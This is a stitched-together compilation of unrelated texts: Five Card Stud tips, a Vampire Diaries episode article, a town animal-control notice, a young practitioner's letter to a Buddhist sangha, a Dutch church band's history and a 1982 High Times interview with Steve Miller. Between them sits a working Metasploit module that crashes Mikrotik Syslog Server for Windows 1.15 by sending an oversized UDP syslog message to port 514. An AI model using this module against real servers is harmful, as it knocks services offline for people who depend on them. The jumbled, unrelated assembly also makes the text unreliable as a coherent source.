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High-value cards – Players should first check their starting hands for a pair, and if they do not find a pair, they must check if they have two high-value cards. A suited Ace and King is a very good combination to have in one's starting hands because it gives players the chance to create a strong pair or a flush or a straight.
Better than opponents' cards – If players find neither pairs nor high-value cards in their hands, they must check if their opponents' face-up cards are higher or lower than the cards in their hand. Even if players get dealt a poor hand, they still have a chance if their cards are better than their opponent's face-up cards.
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Suited cards – If your hand contains two cards of the same suit, you have a very good chance of making a flush. If players play only high-value suits, they can even get a high pair if they miss making a flush.
Connectors – These are not as valuable as they are in Texas Hold'em, but players can still play them as long as they are high-value connectors, which could help them create a high pair later in the game if they are unable to make a straight.
Slow playing – The strategy of slow playing in a bid to build the pot should be used with care in case of Five Card Stud because it is very risky. In fact, Stud experts say that slow playing should be done only if players have exceptionally strong hands. The best Five Card Stud strategy is to raise on pairs and thin the player field as much as possible.
Betting and raising – If players get two high-value cards in their starting hand, they should starting betting on them as early as possible. This will scare off players with mediocre hands and thin the player field. Simultaneously, players should avoid getting too attached to their high-value cards. If these cards do not help them make the desired pair or if they feel that their opponents are getting the better of them, it is time to fold.
Position – The player who bets first in case of Five Card Stud Poker is the player with the lowest or highest face-up card, depending on the round. Therefore, the player who makes the first move varies from one betting round to the other. During the first betting round, the player who has the lowest face-up card places the first bet, and for each betting round that follows, the player who has the highest exposed card places the first bet. The player who is the last to make a move naturally has an advantage over the other players.
While choosing the best starting hand, players should understand that flushes and straights are very rare in Five Card Stud Poker. Most of the winning hands are either threes of a kind or pairs.


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'The Vampire Diaries' Season 8: The special meaning behind Steroline's "June Wedding"
By Amanda Buckle
The penultimate episode of The Vampire Diaries is titled "We're Planning a June Wedding" and will find Stefan and Caroline (affectionately nicknamed Steroline) tying the knot in Mystic Falls. While the supernatural couple is no doubt in love, the wedding won't be your typical romantic union. They're using the event to draw out über villain — and Stefan's ex-girlfriend — Katherine.
Despite the false pretenses for the wedding, it will still be a very a special episode of the CW series. And the title is a bit of a love letter to longtime Steroline fans.
The special meaning behind "a June Wedding"
The episode 15 title has nothing to do with the actual month that Caroline and Stefan's wedding is taking place. It's actually a nod to episode one, when Caroline first laid eyes on Stefan.
The pilot episode scene in question involves Caroline and Bonnie, who are discussing the mysterious new Mystic Falls student after school at the Mystic Grill.
"His name is Stefan Salvatore," Caroline tells Bonnie. "He lives with his uncle up at the old Salvatore boarding house. He hasn't lived here since he was a kid. Military family, so they moved around a lot. He's a Gemini, and his favorite color is blue."
"You got all of that in one day?" Bonnie questions her friend.
"Oh please," Caroline says. "I got all that between third and fourth period. We're planning a June wedding."
Of course, viewers know that Stefan went on to date Elena for multiple seasons. But Caroline and Stefan did finally together in season six. Although things were messy for a little bit — with Stefan traveling the world with another ex-girlfriend and Caroline raising children with Alaric — the two ultimately found their way back to each other and got engaged in season eight. You could say that this wedding was eight years in the making.
The Friday night episode is certainly a tribute to fans, and surprisingly the reference went over the head of star Paul Wesley, who plays Stefan. The actor told reporters that he had "no idea what everyone was talking about" when he heard about the "June wedding" at Comic Con.
"Apparently, the fans talk about a June wedding," he said, according to TV Guide. "So when they first told me they were going to have a June wedding, I was like, 'Oh, cool. We're going to pay homage to the fans.'"
Episode 15 of The Vampire Diaries, "We're Planning a June Wedding," will air on the CW Friday at 8 p.m. Eastern. Watch the trailer for the episode below:
Mic has ongoing Vampire Diaries coverage. Check out our main Vampire Diaries hub here.


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require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Udp
	include Msf::Auxiliary::Dos

	def initialize
		super(
			'Name'        => 'Mikrotik Syslog Server for Windows - remote BOF DOS',
			'Description' => %q{
					This module triggers the windows socket error WSAEMSGSIZE (message to long)
                                        in the Mikrotik Syslog Server for Windows v 1.15 and crashes it.
                                        The long syslog message overwrite the allocated buffer space causing the socket error.

			},
			'Author'      => 'xis_one@STM Solutions',
			'License'     => MSF_LICENSE,
			'DisclosureDate' => 'Apr 19 2013')

		register_options(
			[
				Opt::RPORT(514)
			])
	end

	def run
		connect_udp
		pkt = "<0>" + "Apr19 " +  "10.0.0.2 " + "badass" + ": " + "A"*5000
		print_status("Crashing the remote Mikrotik syslog server #{rhost}")
		udp_sock.put(pkt)
		disconnect_udp
	end
end


There's a person in our community who works to protect stray, injured, abused, and unwanted animals. This person also helps the public deal with problems caused by animals.
Animal care and control professionals now perform a variety of services that help animals as well as people: rescuing injured animals, controlling stray and potentially dangerous animals roaming at large. We also work with the social services, and the law enforcement to protect all members of the family, both two-legged and four-legged.
Keep a collar and ID tags on your pet when outside and ensure that your pet is supervised or safely confined when you are not home. Spay or neuter your pet and keep him or her current on all necessary vaccinations, especially the vaccination for rabies.
Vaccination against rabies is required (RSA 436:100) for dogs, cats and ferrets. Rabies vaccination must be administered by a licensed veterinarian at the age of three (3) months. Revaccination is yearly of every third year. Save the Certificate!
Licensing of all dogs over four (4) months of age is required each year by April 30 (RSA 466:1). To obtain a license the owner must present a current rabies certificate from a licensed veterinarian and pay the required fee.
Licenses can be purchased at the Town Hall.
A quick call to the town hall (895-4735) will keep us up to date on your pet's status. We get notified of unregistered dogs, and most of them have moved on, so help us to keep up to date on the correct status of your pet.
Tags, which are required to be worn by all dogs, indicate that the dog is licensed and has been vaccinated. In addition, tags identify the dog's owner incase the pet becomes lost, injured, impounded, or bites a human or another animal.
All dogs must be kept under restraint at all times. "Restraint" is defined as under the direct control of the owner or responsible person by leash or confined in a secured fenced area on the owner's property.
It is a violation of RSA 466:31 (a), for a dog to be unrestrained, and can result in impoundment of the dog and fines issued to the owner.


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By Jonathan Maxson I will be starting a new semester of college this September, and I feel the best way for me to keep in touch with the Sangha is through regular correspondence with more experienced members of the Sangha. They can support and encourage me as one of the younger practitioners whose life circumstances and schedules prohibit closer involvement. I hope others will undertake something similar.
In particular, I would like to see mindfulness retreats held especially for younger people. At these retreats, three or four young persons of the same age could be "adopted" by a stable member of the Order of Interbeing. Throughout the year, they could write to each other—as brothers and sisters in the practice—and to their adopted spiritual parent, to share thoughts, feelings, and encouragement. Perhaps once or twice a year this small family could reunite, either as part of an individual retreat or in the context of a larger one.
I think this kind of practice could help many young people develop a sense of community and shared responsibility. It would also help older Sangha members become more skillful in the transmission of the teachings.
Jonathan Maxson, age 23, lives in Albany, New York.


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In 2004 Rachel van Meeuwen started a church band based on the following vision: To grow in both numbers and quality. This band would eventually be given the name Break Free Worship. Initially, the band was made up of guitarists and vocals only. Bit by bit Rachel raised the bar and the band started to expand. A desire for deeper worship was born. The band members invested in their talents and equipment.
Through the years, sound and multimedia engineers and a manager were added to the band. In June of 2017 Break Free Worship won 'De beste kerkband van Nederland' contest (Holland's Best Church Band), organized by the EO, a Christian broadcasting network. This made the band's dream to reach Holland with a new sound in worship come true. Invitations started flooding in and new opportunities arose.
Since the beginning of 2018 Break Free Worship has been partnering with Bonfire, a Christian venue located in Dordrecht. Bonfire is now the band's home base. Almost every last Sunday of the month, Break Free Worship plays at the so-called Bonfire Nights.
In addition, the band leads worship at events, conferences and during church services at request.


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High Times Greats: Steve Miller
Some people call him the space cowboy. Some call him the gangster of love.
Steve Miller by David Alexander
Writer John Swenson profiled Steve Miller for the March, 1982 issue of High Times. In honor of Miller's birthday October 5, we're republishing it below.
Steadily, inexorably and almost completely without fanfare, Steve Miller has become one of America's most durable rockers. In a career that now has spanned parts of four decades, Miller has helped develop the music from the blues and R&B roots of the '50s to the technologically proficient AOR rock of the current day.
The Texas-born Miller grew up in the middle of the richest musical tradition of the country listening to great guitarists like T Bone Walker and Johnny "Guitar" Watson (from whom he borrowed the nickname "Gangster of Love") before moving to Madison, Wisconsin, where he led the most in-demand fraternity band on the local college circuit. Miller continued to work out his blues technique on the Chicago club scene during the '60s before moving to San Francisco, where he was in on the ground floor of the late-'60s music boom generated by that city.
While in San Francisco, Miller backed Chuck Berry on a blues album before recording his own LPs with a group featuring Boz Scaggs as co-writer, singer and guitarist. One of the hottest outfits of its time, this group released the classic Children of the Future and Sailor LPs before Scaggs left and Miller teamed up with keyboardist Ben Sidran for the excellent Brave New World LP, which included a duet with an uncredited Paul McCartney on "My Dark Hour."
Miller continued to release beautiful records in a softer mode through the early '70s until he clicked almost offhandedly in 1973 with a huge single, "The Joker," which was to make him one of the '70s' biggest rock artists. He became more and more popular as subsequent LPs produced more blockbuster singles like the title track of Fly Like an Eagle and "Jet Airliner" from Book of Dreams. After that hit Miller took a three-year hiatus which has just now been broken with Circle of Love (Capitol ST-12121), a dramatic return to his most experimental form that is highlighted by the sidelong space-music track "Macho City," which combines the themes of his blues background with the free-form trance-music orientation of his classic late-'60s work. Miller recently sat down with us to outline his plans for the future and reminisce about the San Francisco scene.
He began by explaining his return to the long-track concept with "Macho City." "I didn't feel like making little three-minute tunes," he said. "I've recorded about fifty pieces of music, and I got so messed up by working on so many songs, too many incomplete ideas. I'd go back and I'd listen to things, and 'Macho City' just kept popping up and it sounded damn good to me."
"I've been working for three years on this music," Miller went on. "I've got a great plan for myself. Let me run this by you. I'm putting three albums together and I'm going to have them all done before I start my tour. So when I go out on tour the pressure is off. I'm going to go out and enjoy where I am. I'm going to play every place, and I'm going to have my recording done. Now, this doesn't mean I can't add something new if I come up with some new things once I start playing with the band or something, but then at least I've got this basic structure all happening. You do one album, you go tour your butt off for a year, and then they say, 'Hey, that's great. You just did a hundred and twelve cities. Now go right into the studio and do something else.' I can't do that. I work real well when things calm down, clear out. I can think for a while. My vision gets a lot wider. When I'm on the road it takes so much energy to do those shows and you live such an artificial existence that, you know, after a while all I'm doing is writing tunes about Hertz cars."
Miller explained that he had gotten into that situation once already and was determined to prevent it from happening again. "The material gets thin," he pointed out, "and that's what's always happened to me. After The Joker I couldn't put another album out for two and a half years. Then I put out Fly Like an Eagle and Book of Dreams, which were two albums that I worked on at the same time. Now this time it's been a little longer and I'm working on three albums, which allows everything to be more sustained. It allows for a better advertising campaign. They know they've got two more records instead of like when The Joker was there and we had just been number one all over the place. They wanted one more and I was saying 'I don't have one more. I've just done two hundred cities. I don't have any more.' I felt like I was a prisoner of my own success at the end in those football stadiums. It was thirty-six guys running lasers, just setting off smoke bombs in football stadiums. I enjoyed doing those from the sort of Steve-does-Walt-Disney-one-better kind of thing. But musically it became a very programmed sort of performance. Everything had to be the same. If I didn't perform the same way bar by bar, I had thirty-six people going, 'What's he doing? What's going on? We're on page seventeen and that's where the lights are supposed to be blue.'"
Miller remembered his duet with McCartney fondly. "I did all my recording and mixing in England," Miller explained. "I went to see the Beatles do a session because my producer, Glyn Johns, was recording the Beatles. He introduced me to George Harrison, and I went over to George's house, and George was really a neat guy, he was really nice. He invited me to come down to some sessions, so I went down to watch the Beatles record. I watched them overdub and do some stuff, and then they were going to do an actual session so I asked if I could go to that. We went down there, and Ringo didn't show up. They waited around a couple, two or three hours and Ringo just never made it. He was doing something else I guess. So John left and that left George and Paul. George and I went out and jammed around a little bit, and Paul came out and played drums. Then George left and I said to Paul, 'I got a little tune that we could do real quick.' Glyn was on the controls so he rolled the tape, and I played this rhythm pattern that I had, and Paul came out and played bass on it, then he played a little pedal steel and some background. Just multitracked it up. We worked on the tune for six or seven hours. It was a real thrill for me."
Miller was a significant contributor to the San Francisco music scene during its heyday. As an outsider who came into that scene as it was starting, he has an interesting perspective on it now. "My impressions are getting pretty clear about what I think happened there," he said. "Basically, San Francisco was a social phenomenon. Jerry Garcia was much better at talking to people than he was at playing guitar when I got there. The Jefferson Airplane was much better at throwing a party for fifteen hundred people and making sure that there were baskets of apples at the door and lots of pretty posters and light shows. Mixed-media events."
"I was probably the first band into the San Francisco scene that was a professional musical unit that had come from a highly competitive music scene, which had been Chicago. Butterfield was out there before me and played for a while and then left. I went out there and stayed. And it was a gathering of poster makers, of business people. Guys like Bill Graham and Chet Helms showed up, and they figured out how to run places like the Family Dog six days a week. They figured out how to do it through the use of posters. Then the light people all showed up. Film people were there. P.R. people showed up. The Charlatans were basically a band of P.R. guys. And photographers. It was like art students decided to learn to play the electric guitar and communicate, very much like what's going on in England all the time. If you want to become an instant celebrity, the easiest way to do it is to grab a guitar and do something outrageous in London right now. Or to call yourself a band but actually be a bunch of art students, architectural students, P.R. people, politicians, whatever you want to be, but you use the rock 'n' roll format."
So from Miller's perspective, when he got to San Francisco there wasn't a fully developed musical concept yet. "It was basically style and noise and rap, and lights and LSD. They were trying to get this thing off the ground but nobody really played very well. The bands didn't have any concept as to how to structure a set. They were trying to play 'In the Midnight Hour' and keep their instruments in tune but they really didn't know how to. At first, with the Jefferson Airplane, out of the whole band there was only one musician—Jack Cassidy, who was a good bass player from a rhythm-and-blues scene in Washington, D.C. At that point Jorma Kaukonen was called lead guitar player, but he really wasn't. They were into scene. They spent as much time on how they looked as how they played."
"Me, as a musician, I couldn't put all that together. I couldn't have done what I did if they hadn't done what they did. Because I was playing good music all my life, and the only place it got me was I was in a competitive nightclub scene in Chicago trying to get Muddy Waters's gig. I was competing with him for whatever club it was, and it was just how many people came in and how many drinks they bought and how many people you could draw in a very commercial, hard-nosed nightclub business kind of thing as to whether you played or not. You had to be good or you would lose your gig just like that in Chicago. There were only so many. And out there it was a whole different thing, of course. It was much more attractive because it was a new lifestyle, and these people really developed it. I was just developing along their same lines. I went out there and within four days I was one of the San Francisco bands. Played one gig and said, 'Hi, we're moving here, we're gonna stay here and be part of the scene.' And then we played and knocked everybody's socks off because they hadn't really heard any good rock 'n' roll."
Miller looks back on the drug scene that was such an integral part of the San Francisco experience with mixed feelings. "Sure, all those guys were ripped to the tits, as we say. There were a few times when I was ripped to the tits, too, wondering how I was ever going to get off stage. But I had been playing for so long that it was something that I really didn't get into that much. I was into playing."
"I was astounded by what I saw going on around me," he added. "When I saw Albert Grossman letting Janis Joplin play concerts because she was off of heroin and only drinking a fifth of booze a day, I thought he should have been arrested. I thought that son of a bitch should have been wrapped up and put in jail for ten years. I couldn't believe it. People really just don't understand what happens, but people just don't have common sense. My father's a doctor. I grew up in an upper-middle-class environment where I understood what health was. I knew better than to get involved in uppers and downers. I knew better than to get into any kind of situation where I had to depend on drugs. It would be very easy to take a diet pill before you do a concert because it gives you all this confidence and it makes you feel good. There was a period where every time I had to go play I would just get so sleepy about ten minutes before I had to go out there I just wanted to go to sleep. You go out and start, and then it goes away."
"It's a psychological weirdo game you play with yourself but I watched people who really believed it. They bought the whole stardom thing. I mean, they were wearing their capes at ten o'clock in the morning. They lived it all the way through. I was living it all the way through too, but I knew I had to get some sleep, get some vegetables in me. But it was rough. I went through some bad periods. I got into a thing where I worked way too long and overextended myself, went too far, but I always stopped short of getting myself strung out on something. I saw a lot of people kill themselves."
"There were a lot of people, and they know who they are in this business, who really made money off of kids who were ripped on drugs and they just sold them for ten percent and these kids didn't know any better. You look at Jimi Hendrix's life—what a waste. To be managed the way he was. To do those kind of gigs the way they were done. I saw Jimi about three months before he died. I did a gig with him in Philadelphia. Everybody involved in that should have been locked up. It was crazy. They shot him up before he went onstage. He didn't even know where he was. The band fell apart, just totally crumbled. The audience didn't even know the difference, then they sort of snapped out of this overcharge of drugs and played for a few hours and just shot them up with some more junk and put them away."
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